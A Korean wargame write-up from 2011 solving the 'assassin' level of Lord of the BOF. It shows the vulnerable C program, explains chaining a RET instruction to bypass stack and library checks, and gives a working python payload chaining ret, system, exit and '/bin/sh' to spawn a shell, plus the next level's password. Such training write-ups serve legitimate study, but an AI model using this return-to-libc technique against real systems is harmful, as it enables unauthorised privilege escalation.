2011. 6. 10. 01:36

⊙ 문제의 소스를 보자)

[giant@localhost giant]$ cat assassin.c

/*

The Lord of the BOF : The Fellowship of the BOF

- assassin

- no stack, no RTL

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer+sfp hunter

memset(buffer, 0, 44);

}


♧ 제목과 같다. No! Stack, No! RTL.. 버퍼+SFP 초기화. 오로지 RET만 덮어 쓸 수 있다.
♧ 그러나 코드 영역에 RET 명령을 다시 한번 호출 하게 되면 내부 동작에 의하여

esp에 저장된 복귀 주소를 pop하고 그 주소를 eip에 대입 하게 된다.

복귀 주소를 pop 하였기 때문에 esp+4가 됨으로써 다시 한번 리턴 할 수 있다.


   

⊙ 구성도

♧ 인스트럭션 코드가 차례대로 실행되고 Return Address를 다시 한번 RET명령 주소로 덮어쓴다.

♧ 다시 한번 RET명령을 호출 함으로서 esp+4가 됨으로 system을 다시 호출 하게 된다.


 

   

(※ RET명령을 다시 호출 하는 것 외에는 전 단계와 동일 함으로 필요한 주소 찾는 과정은 제외 한다.)

∑ 익스플로잇 작성!

① 공격 스크립트 작성

RET명령:[0x804851e]

system:[0x40058ae0]

exit:[0x400391e0]

"/bin/sh":[0x400fbff9]

$(python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

   

∑xploit


   

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

giant : "one step closer"

Posted by devanix